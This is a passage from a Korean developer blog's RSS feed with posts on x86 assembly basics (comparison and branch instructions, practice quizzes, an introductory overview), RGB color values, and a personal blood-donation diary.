<p>cmp는 두 값을 <strong>비교하는 명령어</strong>입니다</p>
<pre><code>cmp 값1, 값2</code></pre><p>내부적으로는 다음과 같은 계산을 수행합니다</p>
<p><code>값1 - 값2</code></p>
<p>하지만 계산 결과를 저장하지 않고 <strong>플래그만 설정</strong>합니다
만일 mov rax, 10 cmp rax, 10 일 때
내부에서는 10 - 10 = 0 을 계산하여 결과가 0이므로 ZF는 1로 설정되고 참이 되는 겁니다
하지만 만일 ZF가 1이 아니라면 그 결과는 거짓이 됩니다</p>
<p>참고로 cmp는 이후에 나오는 조건 분기 명령어와 함께 사용됩니다</p>
<h3 id="test">test</h3>
<p>test는 두 값을 AND 연산한 뒤 결과를 저장하지 않고 마찬가지로 <strong>플래그만 설정</strong>합니다
test rax, rax라고 할 경우 rax 와 자기 자신을 and 연산합니다</p>
<p>만일 rax가 0이라면 결과도 0이므로 ZF가 1이 되고
따라서 다음과 같이 사용할 수 있습니다</p>
<pre><code>test rax, rax
jz zero</code></pre><h3 id="cmp와-test의-차이점">cmp와 test의 차이점?</h3>
<p><img src="
https://velog.velcdn.com/images/coding_pineapple/post/34d059af-1140-455c-8cd8-0ebda10b339e/image.png" width=15%>cmp와 test 겉보기엔 둘 다 피연산자를 변경하지 않고 플래그만 남긴다는 공통점이 있습니다</p>
<p>하지만 cmp는 연산을 뺄셈으로 진행하므로 주로 두 값의 대소/일치 비교에 쓰이고</p>
<p>test의 경우 and 기반이기에 (a &amp; b) 특정 비트가 켜졌는지 혹은 값이 0인지 확인하기 위해 쓰이는 차이점이 존재합니다.</p>
<h2 id="5-분기-연산🔀">5. 분기 연산🔀</h2>
<p>분기 연산은 어셈블리어에서 프로그램의 흐름을 제어하는 연산입니다</p>
<p>대표적인 명령어는 <code>jmp,je,jne,jg,jl</code>이 있습니다.</p>
<p align='center'><img src="https://media1.tenor.com/m/CE7aXjVqvNcAAAAd/jm-jm-start.gif"></p>

<h3 id="jmp-jump">jmp (jump)</h3>
<p>jmp는 <strong>무조건 분기하는 명령어</strong>입니다 어떠한 경우에도 따지지 않고 지정된 주소로 이동합니다
<code>jmp 1 ; 1번 코드로 점프</code>
C언어로 비유하면 return 1이 있겠습니다</p>
<h3 id="je-jump-if-equal">je (jump if equal)</h3>
<p>je는 두 값이 같으면 점프합니다</p>
<pre><code>cmp rax, rbx
je 1 ; rax와 rbx의 값이 같으면 점프</code></pre><h3 id="jne-jump-if-not-equal">jne (jump if not equal)</h3>
<p>jne는 je와 반대로 직전 비교한 값이 다르면 점프합니다</p>
<pre><code>cmp rax, rbx
jne 1 ; rax와 rbx의 값이 다르면 점프</code></pre><h3 id="jg-jump-if-greater">jg (jump if greater)</h3>
<p>jg는 두 피연산자 중 첫 번째 값이 더 크면 점프합니다
C언어로 비유하자면 if (rax &gt; rbx) 와 같은 의미가 되겠습니다</p>
<h3 id="jl-jump-if-less">jl (jump if less)</h3>
<p>jl는 jg와 반대로 첫 번째 값이 더 작으면 점프합니다
if (rax &lt; rbx) 와 같은 의미입니다</p>
<blockquote>
<p>그 외의 분기문 명령어들</p>
</blockquote>
<ul>
<li>jnz (jump if not zero) : 결과가 0이 아니면 점프</li>
<li>jz (jump if zero) : 결과가 0이면 점프</li>
<li>jle (jump if less or equal) : 작거나 같으면 점프</li>
<li>jge (jump if greator or equal) : 크거나 같으면 점프</li>
<li>js (jump if sign) : 음수이면 점프</li>
<li>jns (jump if not sign) 음수가 아니면 점프</li>
</ul>
<h2 id="간단-테스트">간단 테스트</h2>
<p>간단하게 3문제 정도 테스트해보도록 하겠습니다
(정답은 댓글에)</p>
<pre><code>1. 조건 분기 

0x401000:  b8 05 00 00 00       mov    eax, 0x5
0x401005:  83 f8 03             cmp    eax, 0x3
0x401008:  7e 05                jle    0x40100f
0x40100a:  b8 01 00 00 00       mov    eax, 0x1
0x40100f:  c3                   ret</code></pre><p>최종 eax 값은? (여기서 ret은 c언어에서 return과 같다)_
<br>
<br></p>
<pre><code>2. lea 과 mov

0x401000:  48 8d 47 08          lea    rax, [rdi + 0x8]
0x401004:  48 8b 0f             mov    rcx, [rdi]
0x401007:  48 8b 57 08          mov    rdx, [rdi + 0x8]</code></pre><p>rax,rcx의 값은? (단 rdi = 0x404000, 그 주소의 8바이트 내용은 0x00000000deadbeef.)
<br>
<br></p>
<pre><code>3. 연산

0x401000:  b8 0a 00 00 00       mov    eax, 0xa
0x401005:  bb 03 00 00 00       mov    ebx, 0x3
0x40100a:  01 d8                add    eax, ebx
0x40100c:  83 c0 05             add    eax, 0x5
0x40100f:  29 d8                sub    eax, ebx
0x401011:  c3                   ret</code></pre><p>ret 직전의 eax 값은? 
<br>
<br><br>
<br>
이상으로 글을 마치겠습니다 감사합니다
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br></p>
<p align='center'><img src="https://media.tenor.com/C8Bv7AenOS0AAAAm/monhes.webp"></p>
<br><br><br>
🍪🍪🍪🍪💀💀💀💀🥀🥀🥀🥀🥀🥀🥀🥀🥀]]></description>
        </item>
        <item>
            <title><![CDATA[RGB 값에 대하여...]]></title>
            <link>https://velog.io/@coding_pineapple/RGB-%EA%B0%92%EC%97%90-%EB%8C%80%ED%95%98%EC%97%AC</link>
            <guid>https://velog.io/@coding_pineapple/RGB-%EA%B0%92%EC%97%90-%EB%8C%80%ED%95%98%EC%97%AC</guid>
            <pubDate>Tue, 04 Aug 2026 00:06:40 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>에 관해 알아보겠습니다.</p>
<p>사실 이 주제를 다루기 전 다뤄지게 된 배경은 미술을 전공하는 랄1부🥚 친구인 더미와 게임하던 중에 시작된 상식 퀴즈가 어쩌다 RGB 이야기까지 번져 재미삼아 다뤄보게 되었습니다.</p>
<pre><code>코딩 파인애플 : 너 빛의 삼원색이 뭔지 아냐?
더미 : RGB.
코딩 파인애플 : 아니 추상적으로 설명하지 말고 구체적으로 ㅂ1ㅅ아
더미 : 아니 그니까 RGB.
코딩 파인애플 : 에휴 ㅂ1ㅅ</code></pre><p><del>살짝좀부족해도괜찮아하지만후횐없썩</del></p>
<h1 id="span-stylecolor-ff0000rspanspan-stylecolor-00ff00gspanspan-stylecolor-0000ffbspan"><span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span></h1>
<p>RGB란 <span style="color: #FF0000;">빨강 (Red)</span>,  <span style="color: #00FF00;">초록 (Green)</span>,  <span style="color: #0000FF;"> 파랑  (Blue)</span>의 빛의 삼원색을 섞어 <strong>색을 표현하는 방식</strong>을 의미합니다 보편적으로 모니터 화면이나 컴퓨터 그래픽, 게이밍 기기 등 <strong>전자기기에서 주로 사용됩니다.</strong></p>
<p align='center'><img src="https://media1.tenor.com/m/NiSZAgIbFIwAAAAC/konosuba-aqua.gif" width=50%></p>

<p>그러면 왜 <span style="color: #FF0000;">빨강</span>, <span style="color: #00FF00;">초록</span>, <span style="color: #0000FF;">파랑</span>일까요❓❓❓</p>
<p>우리 눈에는 <strong>원추세포</strong>라는 색을 감지하는 세포가 존재합니다</p>
<p>이 작은 친구는 크게 세 종류가 있는데 각각 <span style="color: #FF0000;">빨강</span>, <span style="color: #00FF00;">초록</span>, <span style="color: #0000FF;">파랑</span>에 민감한 친구들입니다
즉, 저희의 눈은 세 가지 종류의 빛을 조합해 모든 색을 인식하는 겁니다</p>
<h2 id="span-stylecolor-ff0000rspanspan-stylecolor-00ff00gspanspan-stylecolor-0000ffbspan와-전자기기🟥🟩🟦"><span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>와 전자기기🟥🟩🟦</h2>
<p>사실 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>는 &#39;색&#39;이 아닌 <strong>&#39;빛의 양&#39;</strong>을 의미합니다</p>
<p>예를 들어서 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>(255,0,0) 일 경우 빨간빛을 255만큼, 초록빛은 0만큼, 파란빛은 0만큼이라는 뜻이 됩니다</p>
<p>즉, 색 이름으로 바꾸면  <span style="color: #FF0000;">&#39;빨간색&#39;</span>이 되는 겁니다</p>
<p>그러면 전자기기또한 그런 식으로 색을 나타낼 수 있는데</p>
<p>예컨데 모니터로 예시를 들자면 모니터를 확대하면 작은 점...<strong>픽셀</strong>이라고 부르는 애가 존재합니다</p>
<p>이 친구를 좀 더 확대하면 <span style="color: #FF0000;">빨강</span>, <span style="color: #00FF00;">초록</span>, <span style="color: #0000FF;">파랑</span>이라는 세 개의 아주 작은 빛으로 이뤄집니다</p>
<p align='center'><img src="https://media1.tenor.com/m/2VlKnUWtoQQAAAAC/arisu-blue-archive.gif"></p>

<p> <del>I am FIRE 🗣️🗣️🗣️🔥🔥🔥🔥</del></p>
<p>이걸 <strong>&#39;서브 픽셀&#39;</strong> 이라고 부르는데 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>값에 따라서 이 친구들의 <strong>빛의 세기</strong>가 달라집니다</p>
<p><span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>(255,255,0)이라 가정하면 빨간색 서브픽셀이 255만큼의 빛이, 초록색 서브픽셀이 255만큼의 빛을, 파란색 서브픽셀이 0만큼의 광도를 방출합니다</p>
<p>저희 눈은 그 색들의 광도를 조합하여 결론적으로 노란색을 보는 겁니다</p>
<h2 id="span-stylecolor-ff0000rspanspan-stylecolor-00ff00gspanspan-stylecolor-0000ffbspan는-왜-0255-인가"><span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>는 왜 0~255 인가?</h2>
<p>우리가 보편적으로 사용하는 0~255 범위는 R,G,B에 각각 <strong>1바이트 (8비트)</strong>를 할당해, 총 24비트가 되는 &#39;<strong>트루 컬러</strong>&#39;이기 때문입니다</p>
<p>8비트는 다음과 같이 나타낼 수 있는데</p>
<pre><code>00000000
~
11111111</code></pre><p>각 비트의 자릿수마다 1부터 2배수로 값을 나타내기에 총 <strong>256</strong>이 됩니다</p>
<p>??? : 아니 0~255인데 왜 256이 되는 거임?</p>
<p>사실 <strong>&#39;0&#39;까지 포함해서 총 256</strong>이 되는 겁니다 그러므로 최대 255가 됩니다</p>
<p><strong>트루 컬러</strong>의 특징은 대부분의 전자기기 및 프로세서가 지원하고 색상마다 <strong>1바이트</strong>라는 넉넉한 샘플을 할당했기에 대부분의 사진을 디지털화해도 위화감이 없다는 것이 특징입니다</p>
<p>참고로 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>값의 범위는 0~255까지가 아닌 작을수도 혹은 더 높을수도 있는 값입니다
적게는 1비트 (2색 ...) 부터 많게는 96비트 (<strong>79,228,162,514,264,337,593,543,950,336색</strong>)까지 가능합니다 기술이 발전함에 따라 그 이상의 값도 나타낼 수 있습니다.</p>
<h2 id="기타">기타</h2>
<ul>
<li><p>대부분의 프로세서는 32비트로 처리하는 경우가 많아 RGB에 1바이트를 더해 (24+8) 쓰는 경우가 있습니다 (이 경우 R 11비트, G 11비트, B 10비트로 할당됨) 비워 두는 경우 단순 패딩이 되지만 (Padding), 이 추가 1바이트를 투명도를 나타내는 알파 채널로 쓰는 경우도 있습니다. 
이 경우를 RGBA라고 일컫습니다.</p>
</li>
<li><p>방송국의 로고를 쉽게 접할 수 있는 색입니다 옛날에 KBS, MBC, SBS, KBC, PSB 로고에 쓰였지만, 지금은 사라져 국내에서는 볼 수 없습니다.</p>
</li>
<li><p># 기호 뒤에 6자리의 문자나 숫자를 붙여서 색상을 표현하는 방식을 HEX 코드라고 부릅니다 6자리는 2자리씩 각각 RED,GREEN,BLUE 를 16진수로 표현하여 나타냅니다 그러므로 #000000 ~ #FFFFFF까지 지원합니다.</p>
</li>
</ul>
<p>이상으로 글을 마치겠습니다 감사합니다.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/57434cb4-6d68-4b39-b7ca-377ad4a042c7/image.gif" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[일상] 결코 게임 때문에 한 게 아닌 헌혈 후기]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-%EA%B2%B0%EC%BD%94-%EA%B2%8C%EC%9E%84-%EB%95%8C%EB%AC%B8%EC%97%90-%ED%95%9C-%EA%B2%8C-%EC%95%84%EB%8B%8C-%ED%97%8C%ED%98%88-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-%EA%B2%B0%EC%BD%94-%EA%B2%8C%EC%9E%84-%EB%95%8C%EB%AC%B8%EC%97%90-%ED%95%9C-%EA%B2%8C-%EC%95%84%EB%8B%8C-%ED%97%8C%ED%98%88-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Mon, 03 Aug 2026 13:53:09 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다<p align='center'><img src="https://bloodinfo.net/upload/bloodinfo/knrcbs/apple/pr/img_84cd9457-0946-43ae-b267-648a3baf0aa61785310572935.png" width=70%></p>지난 8월 1일부터 대한적십자사가 무슨 아카이브? 라는 게임과의 콜라보를 진행하여 게임은 하지 않지만 한번 특이한 굿즈 받아보고자 하는 심보로 헌혈을 하게 되었습니다</p>
<p>이번 몫까지 포함하면 통상 8회가 될 것 같습니다</p>
<p align='center'><img src="
https://velog.velcdn.com/images/coding_pineapple/post/caaa39f9-a5aa-4604-89bc-b694e4a1d28a/image.png" width=40%></p>

<h3 id="헌혈">헌혈</h3>
<p>개인적인 사정으로 잠시 순천에 머무른 탓에 장소는 순천 헌혈의 집에서 진행했습니다 </p>
<p>순천 거리가 처음이라 헌혈의집을 찾는 데 꽤 애먹었습니다 ;;</p>
<p>헌혈의 집은 예약시간보다 조금 이른 12시에 출발해 13시 30분 쯤 도착했습니다
<br></p>
<hr>
순천 헌혈의 집의 내부는 외부에 비해 상당히 쾌적했습니다

<p>이번 콜라보 굿즈는 전혈, 혈소판(단종), 혈장만 해당되어 헌혈을 혈소판으로 진행했습니다. </p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/921d4cda-7579-4846-824b-a7843de6ef3d/image.png" alt="">
기념품은 다음과 같은 구성입니다</p>
<p>기념품 구성요소 중 영화관람권은 전년도부터 사라졌다고 들었는데 있으니 좀 신기했습니다</p>
<p>저는 포스터 굿즈와 문화상품권 3장을 채택했습니다</p>
<table>
<thead>
<tr>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/dfdf01df-cf1e-4e6b-bd6e-daaea66ca32d/image.png" alt=""> 헌혈 중</th>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/c2f81fb8-b470-495a-9970-1829d39bf736/image.png" alt=""></th>
</tr>
</thead>
<tbody><tr>
<td>헌혈을 마쳤습니다</td>
<td></td>
</tr>
</tbody></table>
<p>몸의 회복을 위해 물 한 병과 초코파이 하나를 섭취했습니다 </p>
<p>받은 기념품 중 문화상품권은 종이 상품권에서 온라인 상품권으로 대체되어 3~4일 이후에 온라인 메시지로 전송된다고 합니다</p>
<p>굿즈는 <del>(사회적 통념상)</del> 뒤집어서 <del>몰래몰래</del> 노트북 케이스에 넣었습니다</p>
<p>받은 굿즈의 내용물은 다음과 같았습니다</p>
<table>
<thead>
<tr>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/6929400b-6106-47e5-b31e-4a6de10399fe/image.png" alt="">A3 포스터</th>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/00287f54-7168-41ca-9ab3-0cb1970ed7a3/image.png" alt="">홀로그램 카드와 게임 쿠폰</th>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/91bf1af5-505a-4a7f-a24e-5f81a3d813a7/image.png" alt=""> 총합 (+ 보조배터리)</th>
</tr>
</thead>
</table>
<br>

<p>생각보다 포스터와 캐릭터가 이쁘네요
헌데 그거 아카이브? 게임을 안해서 <del>(중요)</del> 누가 누구인지 모르겠습니다</p>
<p>그나마 아는 캐릭터는 저 중앙에 있는 애가 가장 <strong>무겁다</strong> 라는 것밖에 없습니다.</p>
<p>그리고 받은 쿠폰은 아마 게임을 하는 지인에게 선물할 예정입니다</p>
<p>헌혈 콜라보 이벤트가 생각보다 화력이 좋던데 이번 콜라보 이벤트도 성황리에 마치면 좋을 것 같습니다</p>
<p>이상으로 글을 마치겠습니다 감사합니다.</p>
<p align='center'>
<img src="https://media1.tenor.com/m/drcBPB1Si4sAAAAC/yuuka-blue-archive.gif" width=70%></p>

<p><del>질량 100kg ㄷㄷ;;;</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[어셈블리어 개요]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Thu, 23 Jul 2026 02:15:49 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플, 줄여서 코.파.👃입니다
이번 시간에는 어셈블리어 기초 연산에 관해 알아보겠습니다.</p>
<h1 id="어셈블리어란-🥀🥀🥀">어셈블리어란? 🥀🥀🥀</h1>
<p>1947년에 만들어진 어셈블리어는 프로그래밍 언어이며 기계어와 함께 단 둘뿐인 <strong>저급 언어</strong>에 속합니다.</p>
<blockquote>
<p>저급 언어란? 사람이 사용하는 자연어가 아닌, 컴퓨터(하드웨어)가 직접 이해하고 실행하기 쉬운 기계 중심의 프로그래밍 언어</p>
</blockquote>
<p>참고로 여기서의 &#39;저급 언어&#39;란 &#39;수준이 낮다&#39;라는 뜻이 아닌 하드웨어에 가까운 &#39;근원적&#39;이란 의미입니다.</p>
<p>다르게 말하면 &quot;<strong>하드웨어에 가장 가까운 프로그래밍 언어</strong>&quot; 이면서 그만큼 <span style="color: red"><b>매우 어려운</b></span>🔥🔥🔥 언어이기도 합니다</p>
<p>그 예시로 &quot;Hello, World!&quot;를 출력하는 코드를 짤려면</p>
<p>파이썬의 경우</p>
<pre><code>print(&quot;Hello, World!&quot;)</code></pre><p>C의 경우</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello, World!&quot;);
}</code></pre><p>자바의 경우</p>
<pre><code>public class HelloWorld {
    public static void main(String[] args) {
        System.out.println(&quot;Hello, World!&quot;);
    }
}</code></pre><p>등 아무리 길어도 5줄 내외이지만 어셈블리어의 경우</p>
<pre><code>section .data
    msg db &quot;Hello, World!&quot;, 10
    len equ $ - msg

section .text
    global _start

_start:

    ; write(1, msg, len)
    mov rax, 1
    mov rdi, 1
    mov rsi, msg
    mov rdx, len
    syscall


    ; exit(0)
    mov rax, 60
    mov rdi, 0
    syscall</code></pre><p>... 더럽게 ㄱㅣㄹ ㄱㅗ <span style="color: red">어려운 것</p>을 알 수 있습니다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/3f04cf96-762b-41b6-ad61-f99f02dfe9df/image.png
" width=65%></p>

<p><del>아마 크리스 소이어씨는 컴퓨터와 1ㄷ1 대화가 가능하지 않을까요</del></p>
<p>하지만 그렇다고 어렵기만 한 언어는 아닙니다</p>
<p>어려운 만큼 <strong>어셈블리어만의 장점</strong>도 있습니다.</p>
<h3 id="하드웨어-직접-제어-가능">하드웨어 직접 제어 가능</h3>
<p>어셈블리어 하드웨어와 매우 근접한 만큼 <strong>하드웨어를 직접 제어</strong>할 수 있는 압도적인 장점이 있습니다</p>
<p>예컨데 <code>int a = 67;</code> 이라고 변수를 할당해주면 컴파일러가 </p>
<pre><code>메모리 할당-&gt;레지스터 사용-&gt;값 저장</code></pre><p>순의 과정을 거치지만 어셈블리어의 경우 
<code>mov rax, 67</code>
처럼 CPU 레지스터에 직접 값을 넣을 수 있습니다 오옹 나이스</p>
<p align='center'><img src="https://opgg-com-image.akamaized.net/attach/images/20200521130927.1049686.jpg" width=30%></p>

<h3 id="매우-빠른-실행-속도">매우 빠른 실행 속도</h3>
<p>위의 내용과 이어지는데 
<strong>CPU 레지스터에 곧바로 값을 넣으므로</strong> 어셈블리어는 매우 빠릅니다</p>
<p align='center'><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRFmXF23aisux1nhkxf2YWZBcAGIG0hOw7C7tZjB1Edgw&s=10" width=30%></p>

<h3 id="용량-간소화">용량 간소화</h3>
<p>어셈블리어는 불필요한 런타임이나 추가 라이브러리 없이 CPU가 직접 처리할 <strong>최소한의 명령어</strong>로만 작성됩니다
그래서 어셈블리어로 만든 프로그램의 용량은 <strong>매우 적습니다.</strong><p align='center'> <img src= "https://velog.velcdn.com/images/coding_pineapple/post/60990091-4b2d-48da-b4cc-8082192dc54a/image.png
" width=30%></p></p>
<h2 id="기본-구조">기본 구조</h2>
<p>어셈블리 명령어는 보편적으로 다음과 같은 구조를 갖습니다.
<code>opcode operand1, operand</code>
<strong>opcode : 실행할 명령
operand : 대상 데이터</strong>
입니다.</p>
<p>그 중에서 Operand의 경우 다음과 같은 데이터가 있습니다</p>
<h4 id="immediate-상수">Immediate (상수)</h4>
<p><strong>값 자체</strong>를 의미합니다.
<code>mov rax, 10</code>
결과 : rax = 10
즉, 걍 숫자 넣는 겁니다. </p>
<h4 id="register-레지스터">Register (레지스터)</h4>
<p><strong>레지스터 값을 사용</strong>합니다.
<code>mov rax, rbx</code>
결과 : RBX 안에 있는 값을 RAX로 복사.</p>
<p><strong>값 복사.</strong></p>
<h4 id="memory-operand">Memory Operand</h4>
<p>여기가 쪼까 어려운데.
<strong>메모리 주소를 참조</strong>합니다.
<code>mov rax, [rbx]</code>
rbx가 저장한 주소의 값을 rax에 저장한다 라는 뜻인데</p>
<p>여기서 rbx가 저장된 주소가 0x401000일 때
0x401000 메모리 주소에 있는 값이 0x41일 경우 
그 메모리 주소에 있는 값까지 기어가서 0x41이라는 값을 rax에 저장합니다.</p>
<p align='center'><img src="https://engineertips.wordpress.com/wp-content/uploads/2019/12/programming-is-not-stressful-at-all.jpg" width=40%></p>

<p>프로그래밍이 가장 쉬웠어요.
-- <del>데이브씨 (26살)</del>
<br><br><br>
이상으로 글을 마치겠습니다 감사합니다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/ddd4d5bc-65ea-4c3b-b041-bde86bf87773/image.png" width=50%></p>
]]></description>
        </item>
    </channel>
</rss>